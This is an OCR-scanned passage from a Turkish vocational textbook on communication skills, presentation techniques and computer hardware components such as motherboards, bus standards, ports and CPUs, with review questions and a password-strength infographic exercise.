Bireyler algl sayesinde cevresinin farkina varir. Algi olmadan duslince, diislince olmadan da iletisim
mimbkin degildir.

2.2.2.2. Etkin Dinleme

Kisilerin soylediklerini dogru anlamak, degerlendirmek, baglanti kurmak, kiyas yapabilmek veya
elestirebilmek icin dinlemeye ihtiyag vardir. lyi bir iletisim icin iyi bir dinleyici olmak gerekir. Duymak
ve dinlemek birbirinden farklidir. isitme duyusu sayesinde duyma eylemi gerceklesir fakat isitilen her
ses onun dinlenmis olacagi anlamina gelmez. Seslerin anlamlandirilmasi sayesinde dinleme gergeklesir.

Etkin bir dinlemenin temeli ise 6nem vermektir. Anlaticiya 6n yargiyla yaklasmamak, onu yeri geldiginde
jest ve mimiklerle onaylamak, uygun zamanlarda soru sormak ve anlatici konusurken onun s6ziini
kesmemek gerekir.

2.2.2.3. Empati (Duygudaslik)

Kisiler arasi iletisimde 6nemli etkenlerden biri de empatidir. Empati, kisinin kendini karsisindaki insanin
yerine koyarak onun duygularini ve dislincelerini dogru olarak anlamasi, hissetmesi ve bu durumu
ona iletmesi slirecidir. Empati, kisilerin olaylara karsisindakinin bakis acisiyla bakabilmesini gerektirir.
Her insan 6nemsenmek ve anlasilmak ister. Anlasilabilmenin yolu ise tanimaktan veya bunun icin caba
harcamaktan gecer. Digerkamlik, kisinin baskalarinin iyiligi ve yarari icin kendi yararina olacak seylerden
vazgecmesi, fedakarlik yapmasi anlamina gelir. Empati kavraminda karsidakini anlama duygusu
hakimken, digergamlik olgusunda ise anlamakla birlikte diger insanlara maddi veya manevi kisisel ¢ikar
gozetmeksizin yararli olmaya c¢alisma gibi bir erdem s6z konusudur.

2.2.2.4. Konugsma

TDK'ye goére konusmak, “bir dilin kelimeleriyle disincesini
o sozli olarak anlatmak” anlamina gelir. Konugma ise konusmak
eylemidir (Gérsel 2.5). insanlarin duygu, diisiince ve bilgilerini
sozclikleri kullanarak aktarmasi siirecidir. Glnllk hayatta iletisim

))) kurmak amaciyla en fazla kullanilan yontemdir.

Dil ile yapilan bir iletisim yontemi olan konusmada, ne soylendigi
kadar nasil séylendigi de 6nemlidir. Sdzciikler kullanilirken yapilan
tonlama, sesin hizi, siddeti ve vurgulamalar konusarak yapilan
etkili iletisimde 6nemlidir.

Gorsel 2.5: Konusma
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2.3. SUNUM HAZIRLAMA TEKNIKLERi

Anlatilmak istenen konunun belli bir topluluga cesitli ydntemlerle aktarilmasina sunum denir. Sunum,
sunma isidir. Sunumlar; satis yapmak, egitim vermek, katilimcilari bilgilendirmek, portfoy olusturmak,
Grln tanitmak, Grin pazarlamak vb. amaglarla kullanilir. Etkili bir sunum, belirli bir amaca hizmet eden
ve katilimcilar tarafindan dogru anlasilan sunumdur. Hazirlanma amaci ne olursa olsun, sunumu etkili
ve verimli hale getirmek 6nemlidir (Gorsel 2.6).

Gorsel 2.6: Sunum

2.3.1. Amaglarina Gére Sunum Tiirleri

Sunum hazirlamaya baslamadan once yapilmasi gereken ilk sey, hazirlanacak sunumun amacini
belirlemektir. Sunumlarin hedefi; bilgilendirme, satis, pazarlama, motive ve ikna etme, egitim,
eglendirme veya kutlama yapma olabilir. Sunumun amacina gore tiri de degisiklik gosterir.

Bilgilendirme amach sunumlar, dinleyici kitlenin bilgi seviyesini artirmak ve herhangi bir konuda bilgi
vermek icin kullanilan tirdir.

Satis ve pazarlama amaciyla yapilan sunum, is diinyasinda en yaygin kullanilan tirddr. Bir Grin veya
hizmetin satisini yapmak amaciyla yapilir.

Motive etme veya ikna amaciyla yapilan sunumlar, dinleyiciyi belli bir goriis konusunda ikna etmek,
duslince ve davranislarinda degisiklik yapmak icin kullanilan tlirdir. Motive etme amaciyla yapilan
sunumda ikna yontemleri kullanilir. Mitinglerdeki sunumlar 6rnek verilebilir.

Egitim amach sunum, 6gretmek icin kullanilan tirddr.

Eglendirme veya kutlama amaciyla yapilan sunum, herhangi bir gerekgeyle diizenlenen kutlamada
katilimcilari eglendirmek icin kullanilan tiirdtr. Herhangi bir basarinin kutlanmasi amaciyla yapilan bu
sunumlar, mizah kullanilarak, kostiim ve animasyonlarla desteklenerek cok daha keyifli hale getirilebilir.
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2.3.2. Sunuma Hazirlhik

Sunuma baslamadan Once yapilmasi gereken birtakim hazirlik asamalari vardir. Sunumun amaci
belirlendikten sonra etkili bir sunum hazirlamak igin planlama yapmak gerekir. Sunumun planlamasi
yapildiktan sonra icerik hazirlama asamasina gecilir. Sunum iceriginde veya sunum sirasinda gorsel
ve isitsel aracglara siklikla yer verildigi icin bunlarin neler olacagi dnceden tespit edilmelidir. Sunumun
yapilacag mekanla ilgili dizenlemelerin de yapilmasiyla igcerik sunuma hazir hale getirilir.

2.3.2.1. Planlama

Bir sunumun akisini ve igerigini belirlemek igin planlama yapmak gerekir. Etkili bir sunum igin hitap
edilecek grubu iyi tanimak, sunum yapilacak mekan ve sunum zamanini dogru belirlemek, sunum
suresini iyi ayarlamak, sunumu hazirlamak igin kullanilacak teknik donanimi bilmek ve iyi kullanmak
gerekir. Sunumun akisini dogru planlamak igin iyi hazirlanmis bir taslak, yapilacak isin daha dizenli
olmasini saglar.

2.3.2.2. icerik Hazirlama

Sunum hazirlama siirecinin en énemli asamasi igerigin hazirlanmasidir. Bir sunumun igeriginin etkili
olmasi igin dinleyici kitlesi hakkinda dogru bilgi sahibi olmak ve igerik ile dinleyiciler arasinda dogru
baglantiyi kurmak gerekir ( Gorsel 2.7).

Gorsel 2.7: Sunu

lyi bir icerikte olmasi gereken 6zellikler su sekilde siralanabilir:
e Dinleyici icin kritik bilgiler icermelidir.
e Gereksiz ve cok ayrintili bilgi verilerek sunum sikici hale getirilmemelidir.
¢ Dinleyici odakl olmahdir.
e Sade ve anlasihir bir dil kullaniimalidir.
* ilgi cekici olmalidir.
e Her sunumun bir ana mesaji olmali ve tiim icerik, bu ana mesaji destekleyici nitelikte olmalidir.

e Tasarim sade olmali, kullanilan metinle gorseller birbirini destekleyecek sekilde ve uyumlu olma-
hdir.

2.3.2.3. Sunumda Gérsel ve isitsel Materyal Kullanimi

Sunum hazirlarken cesitli gorsel veya isitsel araglardan yararlanarak sunumlari daha etkili bir hale ge-
tirmek mimkindir. Boylelikle hem anlatilmak istenen konunun daha rahat anlasiimasi icin izleyicilerin
dikkati odaklanir hem s6z ve zamandan tasarruf edilir. Sunum hazirlanirken yardimci olacak gorsel ve
isitsel araglar; resim, ses, mizik, video, harita, slayt, grafik, tablo vb.dir.
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Slayt, projeksiyonla perdeye veya duvara yansitilan gorlintl, saydam, pozitif gorlinti anlamlarina gelir.
Sunular slaytlarin birlesmesiyle olusur. Ginimuzde slaytlar, paket programlar veya cevrimici programlar
kullanilarak olusturulur. Bir sunum hazirlamak i¢in sunular kullanilir (Goérsel 2.8).
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Gorsel 2.8: Sunu ornekleri

Grafik: Aktarilacak veri seti ve vurgulanmak istenen mesaja gore kullanilabilecek gesitli grafikler vardir.
Grafik gesitleri arasinda istenen mesaji en dogru aktaracak grafigin secilmesi dnemlidir. Bir grafikte
hangi verinin neyi ifade ettiginin acik¢a yazili olmasi gerekir. Grafikler, sunumu yapan kisinin bir sey
anlatmasina gerek olmadan kendi baslarina da konuyu anlatmakta yeterli olmahdir (Gorsel 2.9).

RS
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Gorsel 2.9: Grafik 6rnekleri
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SmartArt: Metinlerin kolaylikla grafiklere dontstirilerek gorsel degeri daha yiiksek ve etkileyici
sunumlar hazirlanmasina yardimci olan bir segenektir (Sema 2.1).
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Sema 2.1: SmartArt

Tablo: iki boyutlu satir ve siitunlardan olusan metin, rakam gibi verileri biinyesinde toplayan, esasen
hesaplamalar yapmak amaciyla tasarlanmis araclardir (Tablo 2.1).

Stok Adi Stok Adeti
Kalem 100

Silgi 100
Defter 50

Tablo 2.1: Tablo 6rnegi

Sunum yapilacak yer ve kullanilacak teknik donanimla ilgili 5nceden bilgi sahibi olmak, sunumun neye
benzeyecegine dair 6n bilgi agisindan dnemlidir. Sunum giiniinden 6nce sunumun yapilacagl mekanda
en az bir kez deneme yapilmasi sunum giini karsilasilabilecek sorunlari en aza indirmeye yardimci olur.

Sunum i¢in teknik donanim, arag gerec ve cesitli gorsellere ihtiyag olabilir. Bunlarin sunum 6ncesinde iyi
test edilmesi gerekir. Bunlari sunumu yapacak kisi idare edecekse nasil kullanilacagini bilmesi gerekir.
Ozellikle ses diizeni, projeksiyon cihazi ve ekrani sunum &ncesinde test etmesi gerekir. Kiirsii veya
mikrofon gerektiren durumlarda bunlarin konum, yiikseklik, adet, nitelik vb. kontrol edilmeli ve amaca
uygun sekilde diizenlenmelidir. Aydinlatmanin not tutma, sunu, gorsel, tablo veya slaytlari okuma
gibi degisken durumlar i¢in uygun olup olmadigi kontrol edilmelidir. Mekanda oturma dizeninin nasil
olacagina karar verilmeli ve oturma diizeni buna goére yapilmaldir. Oturma diizeni sunumun amacina
uygun ayarlanmalidir. Sunumun yapilacagi mekan temiz ve tertipli olmalidir. Ayrica mekana asilacak
posterler, konuyla ilgili afisler ve fotograflar da sunumun basarisinda etkilidir.

2.3.3. Sunum Yapma

Sunum hazirlanirken siire géz onlinde bulundurulmalidir. Etkili bir sunum, her birinin sliresi dogru
planlanmis giris, gelisme ve sonug boliimlerinden olusur.

Giris boliimii, sunumun amacinin paylasildigi ve dinleyicilerin dikkatinin sunuma toplanmasini saglayan
bolimdur. Bu bolim kisa, ilgi cekici ve konuyla bagdasacak ifadelerden olusmalidir. Sunuma giris;
konuyla ilgili evet veya hayir seklinde cevaplanabilecek kisa sorular sorarak, konuya uygun bir fikra
yahut 6yku anlatarak, alinti yaparak, etkileyici vurgularda bulunarak veya konunun énemi belirtilerek
yapilabilir.




2. OGRENME BiRiMi

Konu Bashgi: Etkili Sunum Teknikleri

Dikkat Cekici ifade: Burada kag kisi bir bankanin siber giivenlik agigini tespit ederek
bunu bankaya bildirmek ister?

Gegis: Etkili bir sunum yapmak girisimcilige benzer, ikisinin de hazirlik asamasi cok énemlidir.

Onem: Hayatiniz boyunca is yasaminiz ve cesitli disiplinlerde (egitim, kariyer, hobi vb.) disiince,
arastirma, Uriin ve ¢calismalarinizi aktaracak sunumlar hazirlamak; kendinizi gelistirmek, kisi veya sosyal
gruplara kendinizi tanitmak i¢in cok dnemlidir.

Amag: Katilimcisi oldugunuz bu sunumun sonunda etkili bir sunum hazirlamak icin gereken bilgiye
sahip olacaksiniz.

Gelisme boliimii, sununun igeriginin yer aldigi bolimdir. iletilmek istenen énemli konular gelisme
bolimiinde yer alir. Sunumun amacina, dinleyici kitlesine ve kisisel sunum tarzina uygun bir yontem
secilerek bilgi sunulabilir.

Sonug boéliimii, sunumun 6zetinin yapildigi kisimdir. Sunumda ele alinan 6nemli noktalar fazla ayrintiya
girilmeden dinleyiciye bu bélimde yeniden hatirlatilir. Kapanis climlesi ve katiimcilara tesekkir bu
bolimde yer alir. Sunum bittikten sonra s6zii dolandirmadan sunum tamamlanmali fakat dinleyicinin
kafasini karigtiracak ani bir bitis de yapilmamalidir.

Bir sunum gorsel ve igerik agisindan iyi hazirlanmis olsa bile sunumu yapan kisinin sunum esnasindaki
ses tonunun amaca uygunlugu ve dinleyiciyle iletisimi de olduk¢a 6nemlidir. Sunumu yapan kisi beden
dilini ve ses tonunu etkili bir sekilde kullanmalidir. Sunum sirasindaki konusmalar dinleyicinin dikkat ve
ilgisini kaybetmesine neden olmamalidir. ilk 10-15 dakikadan sonra dikkat daginikligi olabilecegi icin
konusmaya dinleyicinin ilgisini cekecek unsurlar eklenerek (duygusal etki, espri, vb.) dikkat ve ilgi canl
tutulmalidir. Dogal olunmali, dinleyiciyle gbz temasi kurulmali, stirekli ekrana veya varsa eldeki notlara
bakilmamali, anlatilan konunun disina ¢ikilmamali ve siireyi dogru kullanmaya dikkat edilmelidir.

Sunumu yapan kisinin durdugu yer énemlidir. Sunumu yapan kisiyle dinleyicilerin birbirini rahatlikla
gorebilecegi bir konumda sunum gergeklestirilmelidir.

Sunumdan sonra soru-cevap boélimine yer verilecekse sunumu yapan kisi bu bélime 6nceden
hazirlanmali, gelebilecek sorular karsisinda hazirlikli olmali ve cevabini bilmedigi sorular karsisinda
bunu acik¢a belirtmelidir. Soru-cevap boélimiine sununun en sonunda yer vermeye dikkat edilerek
konunun boélinmemesi saglanmalidir.

S
0 Sinifta Gger kisilik gruplar olusturarak 6gretmeniniz tarafindan size verilecek
bir konuda sunu hazirlayiniz. Hazirladiginiz calismayl grup temsilciniz
araciligiyla sinifta sununuz.
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SIRA

‘om Etkili sunum tekniklerinden biri de sunum materyalleri iginde infograﬁk\

kullanimidir. Uzunca bir metin yerine kullanilacak gorselin, dinleyiciler
Uzerinde etkisi daha yiksektir. Bu nedenle sunumlarda gorsel kullanimi
tercih edilir. Gorsel 2.10’da sifrelerin glivenlik seviyelerine gore ele gegirilme siirelerinin
kiyaslandigi bir infografik gorilir. Siz de sifre tercihinde dikkat edilecek hususlari 6zetleyen
benzer bir infografik hazirlayiniz ve 6gretmeniniz rehberliginde sinifta sunumunu yapiniz.

\ J

Zayf Sifre Yari-Zayif Sifre Guglu Sifre
Omegin: Zonguldak Ornegin: ZonguldaK67! Omegin:
A39=g5%2&n!-74/r

Ele gecirilme siresi Ele gecirilme stiresi Ele gecirilme stireci
oldukga kisadr. kisadir. zaman alicidir.

Gorsel 2.10: Sifre dlgegi
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OLCME VE DEGERLENDIRME

Asagidaki sorularn dikkatlice okuyarak dogru cevabi isaretleyiniz.

1. Kaynak tarafindan aliciya gonderilen igerigin

genel adi agagidakilerden hangisidir?

A) Alici B) Doniit

C) Kanal D) Kaynak

E) Mesaj

. Asagidakilerden hangisi beden dilinin
ogelerindendir?

A) Jest ve mimikler B) Kiyafet

C) Ses tonu D) Mesajlasma

E) Kelimeler

. Gonderici tarafindan aktarilacak bilgi, duygu ve
diisiincenin anlaml bir sekilde yapilandirilarak
mesaj formatina getirilmesi islemi asagidaki-
lerden hangisidir?

A) Guralti B) Mesajlasma

C) Kod D) Kod agma

E) Kodlama

insanlarin duygu, diisiince ve bilgilerini

sozciikleri kullanarak aktarmasi siirecine
verilen ad asagidakilerden hangisidir?

A) Algi B) Dinleme

C) Empati D) Konusma

E) Yorum yapma

5. Birinin kendini karsisindaki insanin yerine
koyarak onun duygularini ve diisiincelerini

dogru olarak anlamasina verilen ad
asagidakilerden hangisidir?

A) Algi B) Beden dili

C) Dinleme D) Empati

E) iletisim

6. Bir iriin veya hizmetin satisini yapmak
amaciyla hazirlanan sunum tard
asagidakilerden hangisidir?

A) Bilgilendirme amagli

B) Satis ve pazarlama amagli
C) Egitim amacgli

D) Motive etme amagli yapilan

E) Eglendirme amacli yapilan

7. Bir sunumun igerigiyle ilgili agagidakilerden
hangisi yanhstir?

A) Dikkat gekici olmahdir.

B) Sade ve anlasilir olmalidir.

C) Bir ana mesaji olmalidir.

D) Gorsellerle desteklenmelidir.

E) Konusmaci odakli olmalidir.



o 3. OGRENME BIRIMIi

DONANIM BIRIMLERI

KONULAR

3.1. iC DONANIM BIiRIMLERI + ig donanim birimlerinin montaji
3.2. DIS DONANIM BIRIMLERI + Dis donanim birimleri baglantilan

ANAHTAR KAVRAMLAR

Anakart, cpu, gpu, hdd, hdmi, ram, rom, sdd, usb



3. OGRENME BiRiMi

HAZIRLIK GALISMALARI

1. Kisisel bir bilgisayar satin almak istediginizde i¢ ve dis donanim birimlerinin seci-
minde dikkat ettiginiz hususlar nelerdir?

2. GUnluk yasaminizda kullandiginiz cihazlardaki baglanti tirlerini arkadaslarinizla
tartisiniz.

3.1. iC DONANIM BiRiMLERI

Bilgisayar ic donanimlari ézel ihtiyaclara bagh olarak degiskenlik gsterebilir. ic donanimlarin birbirine
uyumlu bir sekilde montajinin yapilabilmesi icin 6ncelikli olarak temel bilgisayar ic donanimlarinin neler
oldugu ve bunlarin 6zellikleri bilinmelidir. Bir baska deyisle i¢ donanim birimlerinden anakart, islemci,
bellek, genisleme yuvasi kartlari, disk siirticiileri ve kasa tipleri ile bunlarin 6zellikleri bilinmelidir.

Donanim birimlerinin montaji sirasinda dnemli husus bilgisayarlari ve donanim birimlerini statik elekt-
rigin etkilerinden korumak gerektigidir. Bu amagla 6zellikle montaji yapacak kisi, donanim birimlerine
temas etmeden once viicudundaki statik elektrigi bosaltmaldir. Kisi statik elektrik bosaltma islemini
topraga temas eden bir ylizeye dokunarak yapabilir veya antistatik eldiven giyerek yalitim saglayabilir.
Sonrasinda donanim birimlerinin montajina baslayabilir. i¢ donanim birimlerinin kasa icine yerlestirile-
rek montajinin dogru, glivenli ve kontrolli bir sekilde yapilmasi 6nemlidir.

3.1.1. Anakart (Motherboard)

Gorsel 3.1’de goriildigl Gzere anakart, elektronik bilesenleri birbirine baglayan yollar (bus) veya elektrik
yollari iceren bir baski devre kartidir (PCB). Sistem karti olarak da ifade edilen anakart, bilgisayarin
omurgasi olarak kabul edilir. Donanimlar, Gorsel 3.2’deki anakart Gzerine butinlesik veya soketler,
genisletme yuvalari ve baglanti noktalari kullanilarak yerlestirilebilir.
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Gorsel 3.1: Anakart
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Gorsel 3.2: Anakart gérinimu

Yonga seti (cip seti), anakart Uzerinde veri iletisiminin kontroliini saglayan elektronik bir bilesendir.
Yonga seti, anakartta timlesik (entegre) olarak yer aldigi icin anakart Gzerinden degistirilmesi s6z konusu
degildir. Yonga seti, bilgisayar bilesenlerinin islemciyle iletisimini saglar. Sekil 3.1’de goruldigi Uzere
bilgisayarda kuzey koprisu ve giney koprisi olmak Uzere 2 adet yonga seti bulunur. Kuzey koprisd,
RAM ve ekran kartina yiksek hizl erisimi denetlemenin yani sira CPU’nun bilgisayarda bulunan diger
tiim bilesenlerle iletisim kurma hizini kontrol eder. Gliney kdprisi ise CPU’nun sabit disk, USB (Evrensel
Seri Veri Yolu) baglanti noktalari, genisletme yuvalari gibi daha yavas bilesenlerle iletisim kurmasini
saglar.

Hafiza Veriyolu
CPU

AGP Veriyolu | s
Koprusu

PCl-ex Veriyolu

Giliney
Koprisu
PCI Veriyolu

SATA-ATA Veriyolu

Sekil 3.1: Anakart bilesen baglantilari
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BIOS, bilgisayar anakartinda bulunan kiguk -

bir bellek ¢ipine (CMOS) entegre bir yazilimdir.
BIOS’un islevi, donanim ve isletim sistemi
arasindaki iletisimi saglamaktir. Donanim
bilesenlerinin kontrollerini saglayarak
bilgisayarin acilis islemlerini yurttir. BIOS,
enerjisini Gorsel 3.3’te gorildUglu lzere 3
voltluk bir BIOS pilinden alir.

Gorsel 3.3: BIOS pili

3.1.1.1. Anakart Veri Yolu Teknolojileri

Anakart veri yolu teknolojileri genel olarak PCI, AGP, PCI-X ve PCl-express (PCle) olmak Uzere
standartlasmistir.

e PCI (Peripheral Component Interconnect) Veri Yolu

Bu yol, PCl slotlarini (yuvalarini) gliney kdpristine baglar. Birgcok sistemde PCl veri yolunun hizi 33
MHz’tir. PCl veri yolundan saniyede iletilen veri miktari ise en fazla 133 MB'tir.

e AGP Veri Yolu

Teknolojik slirecte PCl slotlarina uyumlu ekran kartlarinin hizlarinin mevcut goériintiileme
teknolojilerini desteklemekte yetersiz kalmasi sebebiyle farkli bir veri yolu teknolojisine ihtiyag
duyulur. Bu ihtiya¢ ile sadece goriintl teknolojisi icin kullaniimak Uzere o6zellestirilmis ve
gorlintl kartlarina baglanma kapasitesine sahip bir port olarak AGP [Accelerated Graphics Port
(Hizlandirlmis Grafik Portu)] tasarlanir. Zamanla AGP’nin farkhlasan strtmleri gelistirilir. Aktarim
hizi megabayt olarak dlcilur. 1X, 2X, 4X ve 8X gosterimleri AGP 1.0 (266 MB/sn.) hizina gore farkli
bant genislik hizlarini gésterir. Ornegin AGP 3.0 8X=2.133MB/sn. transfer miktaridir.

e PCI-X

PCI-X standard, yillardir sunucu (server) tabanli platformlarda kullanilir. Bu standardin temel amaci
PCI yuvalarina kiyasla daha yiksek bir bant genisligi sunarak Gigabit Ethernet destekli sunucu
sistemlerinde iletisim kartlarina gereken ylksek bant genisligini saglamaktir.

e PCl-express (PCle)

PCle, yiiksek hizli bilesenlerin uyumlu calisabilmesii¢in olusturulan bir arayliz standardidir. Mevcut
veri yolu standartlarinin bant genisliginin islemciler icin yetersiz kalmasindan dolayi 2004 yilinda
PCl ve AGP’nin yerini alacak sekilde tasarlanmistir. PCle yuvalarinda x1, x4, x8, x16, x32 gibi farkl
fiziksel yapilandirmalar bulunur. x isaretinden sonra yazilan sayi PCle yuvasinin sahip oldugu serit
adedini ifade eder. Serit sayisiyla veri iletimi paralellik gosterir. PCle’nin farkl strlimleri Tablo
3.1'de gosterilmistir.
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Tablo 3.1: PCle Stirtimlerinin Karsilastirma Tablosu

Cikis Yih Veri Orani Bant Genigsligi
PCle 1.0 2003 2.5 GT/s 8 GB/s
PCle 2.0 2007 5GT/s 16 GB/s
PCle 3.0 2010 8 GT/s 32 GB/s
PCle 4.0 2017 16 GT/s 64 GB/s
PCle 5.0 2019 32 GT/s 128 GB/s

3.1.1.2. Anakart Bi¢im Standartlari

Anakartlar birbirinden farkl boyut ve sekillerde uretilir. Birbirinden farkli tretilen anakartlarin sekil ve
yerlesim dizenine bigim (form) faktérii denir. Bigcim faktord, anakart lizerine yerlestirilecek bilesen
ve cihazlarin fiziksel dizenini de acgiklar. Bugiine kadar bircok anakart cesidi gelistirilmistir. Bunlardan
yaygin olarak kullanilan anakart bicim faktorleri sunlardir:

e ATX (Advanced Technology eXtended)

ATX en yaygin anakart bicim faktoridir. Yiksek performansli oyun sistemleri ve is istasyonlarinda
kullanimi yaygindir. Genellikle 4-7 genisleme yuvasi ile 4-8 RAM yuvasina sahiptir. Ayrica ATX
kasasinda ATX anakarti icin tiimlesik Giris/Cikis (I/0) baglanti noktalari bulunur. ATX gii¢c kaynagi
ise 20 pinli tek bir konnektor ile anakarta baglanir. ATX anakartinin boyutlari 305 x 244 mm (12 x
9,6 in¢) kadardir.

e Mikro-ATX (LATX veya mATX)

ATX ile uyumlu olarak tasarlanmis ATX'e gére daha kiiglik bir bigim faktoriidiir. Genellikle klglk ve
orta Olgekli sistemlerde kullanilir. Mikro-ATX kartlari standart ATX kasalarina sigabilir. Mikro-ATX
anakartlar ATX anakartlardan ¢ok daha kiictik oldugu icin daha az genisleme yuvasina (2-4 adet)
ve RAM yuvasina sahiptir. Mikro-ATX'in boyutlari 244 x 244 mm (9,6 x 9,6 in¢) kadardir.

e ITX (Information Technology eXtended)

Boyutunun kii¢lik olmasi nedeniyle ITX bigim faktoriiniin kullanimi yayginlasir. Birgok ITX anakart
turd vardir. Mini-ITX bunlardan en popliler olanidir. Mini-ITX bigim faktori ¢ok az glic kullandigindan
fanlarin sogutmasina ihtiya¢ duymaz. Ornegin Nano-ITX ve Pico-ITX form bicimleri genellikle 6zel
uygulamalar ve endistriyel kullanimda tercih edilir. Mini-ITX anakartta genisletme kartlari igin
sadece bir adet PCl yuvasi bulunur. Mini-ITX’in boyutlari 170 x 170 mm (6,7 x 6,7 ing) kadardir.

Bazi Ureticiler, ATX tasarimina dayanan tescilli bigim faktorlerine sahiptir. Bu durum bazi anakartlarin
gl kaynaklari ve diger bilesenlerin standart ATX kasalariyla uyumsuz olmasina yol agar.

3.1.1.3. Anakart Portlari ve Konnektorleri
Bilgisayar bilesenlerini bir arada tutan ve birbirleriyle etkilesimlerini saglayan merkez olan anakart

Gizerinde cesitli portlar ve konnektorler bulunur.

e PS/2 portu
PS/2 portu genellikle eski klavye ve fare modelleriicin kullanilir. Portlarin rengi yesil (fare baglantisi)

ve mor (klavye baglantisi) olabilir.
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e USB portu
USB portlarina farkli tiirden birgok donanim baglanabilir. Bunlar arasinda klavye, fare, yazici,
tarayici ve harici depolama aygitlari bulunur. USB portlari USB 1.0°dan USB 3.1’e kadar degisen

hizlarda veri aktarim kapasitesine sahiptir.

e LAN-Ethernet (RJ-45) portu
LAN-Ethernet (RJ-45) Portu, icinde bulunan 8 adet iletim hattiyla bilgisayarin kablolu olarak

internete veya diger bilgisayar aglarina baglanmasini saglar.

e Ses giris ve cikis portu
Ses Giris ve Cikis Portu bilgisayardan ses almak veya bilgisayara ses aktarmak igin kullanilir.
Genellikle yesil renkli porta ses cikisi igin hoparlor, pembe renkli porta da ses girisi icin mikrofonun

ucu baglanir.

e HDMI portu
HDMI Portu ayni anda hem goériinti hem de ses verilerini ¢evre bilesenlerine aktarir. Bu port
sayesinde bilgisayardaki goriintli projeksiyon cihazina veya televizyona aktarilabilir. Yiiksek kalitede

ve hizda gorinti ile ses iletimine imkan saglar.

e SATA portu
Sabit diskler [HDD (Hard Disk Drive)], kati durum siriculeri [SSD (Solid State Drive)] ve optik
sUrlciler SATA portuyla anakarta baglanir. Bu portlarin veri aktarim hizi IDE (PATA) portlarina gére

yuksektir.

e ATX gii¢ baglanti portu
ATX Gl¢ Baglanti Portu, anakarta elektrik enerjisinin saglanmasinda kullanilir. Anakart Gzerinde
yer alan islemciye de enerji saglayabilmesi icin fazladan bir port bulunabilir. islemciye yakin olarak
konumlandirilan bu konnektor genelde doért uca sahiptir.

¢ Isiklandirma konnektorleri
Kasa kontrol panelinde kullanilan bilgisayari agma, resetleme tuslari ile bilgisayarin g¢alisma
durumunu gosteren isiklandirma icin kablo konnektérleri takilir.

3.1.1.4. Kasa Se¢imi

Anakart ve harici bilesenlerin secimi kasanin ve gii¢ kaynaginin se¢imini etkiler. Bu ylizden anakart bigim
faktorii dogru bilgisayar kasasi ve giic kaynagi tiirii ile eslestiriimelidir. Ornegin bir ATX anakart hem ATX
uyumlu bir kasa hem de uyumlu glic kaynagi gerektirir. Genel olarak bilgisayar kasasi dayanikl, bakimi
kolay ve genisleme icin yeterli alana sahip olmalidir. Ayrica donanim ihtiyaclarina gore ek bilesenleri
barindirabilecek biiyik bir bilgisayar kasasi veya minimum alan gerektiren daha kiicik bir kasa secilebilir.

3.1.1.5. Anakart Montaji

Anakartin montaji 6ncesi antistatik eldiven giyilmeli veya viicutta biriken statik elektrik bilesenlere zarar
vermemesi i¢in bosaltilmalidir.



1. UYGULAMA

DONANIM BiRiMLERI

Gorsel 3.4’teki anakartin kasa icine montaji islemini asagidaki adimlar
dogrultusunda gergeklestiriniz.

Gorsel 3.4: Kasaya anakart montesi

1. Adim: Anakarti, Gorsel 3.5’teki ESD (elektrostatik desarj) bilekligi takarak veya Gorsel 3.6’daki eldiven
gibi statik elektrik 6nleyici bir materyal kullanarak statik olmayan bir ylizey lzerine yerlestiriniz.

Gorsel 3.5: ESD bileklik
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Gorsel 3.6: ESD eldiven

2. Adim: Anakarty, Gzerindeki vida deliklerinden bilgisayar kasasinda bulunan anakart tepsisine koyunuz.

3. Adim: Anakart lizerine donanim pargalarini yerlestiriniz.

4. Adim: Gii¢ baglantilarini ATX konnektorleriyle yapiniz.

5. Adim: Montaji 6n panel konnektor baglantilarini yaparak tamamlayiniz.

3.1.2. Merkezi islem Birimi (CPU)

Bilgisayar biliminde islemci, farkl terimlerle de ifade edilir. Bu terimler arasinda mikro islemci, mikro
islem birimi, mikro islemci tinitesi, CPU (Central Processing Unit) ve uP [Micro Processor (Mikro islemci)]
en sik kullanilan terimlerdir. CPU, bilgisayarin beyni olarak kabul edilir. Bilgisayardaki tiim hesaplama ve

islemleri CPU yUrutir.
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3.1.2.1. islemcinin Calisma Mekanizmasi

Bilgisayarin kullandigi ikili sayi sisteminin kokeni, islemci mimarisinin kalbi olarak ifade edilen ve yari
iletken elektronik devre elemani olan transistérlere dayanir. Islemcilerin icindeki milyonlarca transistor
ile veriler islenir, depolanir ve iletilir.

Bilgisayarin dili iki degere sahip basit bir yapidir. Bu dilde 1 (bir), elektrik var; 0 (sifir), elektrik yok
anlamina gelir. islemciler, makine dili olarak adlandirilan bir ve sifirlarin kullanildigi diisiik seviye
kodlama sistemini kullanarak calisir. Bilgisayarlar metin ve diger verileri islerken binary (ikili) sistemini
kullanir. Bu sistemde her harf ve karakter icin sifir ve birlerden olusan bir dizi binary kod olusturulur.
Ornegin A harfinin ASCIl (American Standard Code for Information Interchange) kod tablosunda
bulunan karsihg binary kod olarak 01000001 ile ifade edilir. Bu durumda bilgisayar A harfini tanir ve
isler. ASCII kod tablosu, bilgisayarlarin metin ve diger verileri islemek icin kullandigi en yaygin kodlama
sistemlerindendir. Sifir veya birlerin her biri bit olarak ifade edilir. Sekiz bitin bir araya gelmesiyle bir
byte (bayt) olusur. Sonug olarak A harfi 1 baytta saklanir.

a SIRA 29 Ekim 1923 ifadesini ASCIl kod tablosunu kullanarak binary seklinde

m kodlayiniz.

islemcinin basit bir programi calistirmasinda gergeklesen islemler sirasiyla soyledir:

Komutu Al (Fetch)
Kodunu ¢6z (Decode)
isle (Execution)

Yaz (Write)

P WNR

Yeni nesil islemcilerin ¢ok fazla adim, islem ve daha karmasik-gelismis 6zelliklerle ¢alisabilecegi unutul-
mamalidir.

3.1.2.2. islemci Hizi

islemci hizinin hesaplanmasinda su formiil kullanilir:
FSB x islemci Garpani = islemci Hizi

FSB (Front Side Bus): islemci ile RAM bellek arasindaki veri yolunun hizidir. islemci ve RAM arasindaki
veri transfer hizini belirler. Megahertz (MHz) veya Gigahertz (GHz) cinsinden gosterilir.

islemci Carpani (Clock Ratio): islemcinin FSB hizinin kag kati hizda ¢alisacagini belirtir.

islemci Hizi (Clock Speed): islemcinin komutlari ne kadar hizda isleyebilecegini belirler. Genellikle
Megahertz (MHz) veya Gigahertz (GHz) cinsinden gosterilir.

Tablo 3.2’de gorildugi Gzere hiz 6l¢l birimlerinde her birim, bir dncekinden 1.000 kat biyuktir.
Ornegin 1 GHz = 1.000 MHz, 1 MHz = 1.000 KHz olarak ifade edilir.

e —



Tablo 3.2: Hiz Ol¢ii Birim Tablosu

DONANIM BiRiMLERI

isim Sembol Deger
Hertz Hz 1/saniye
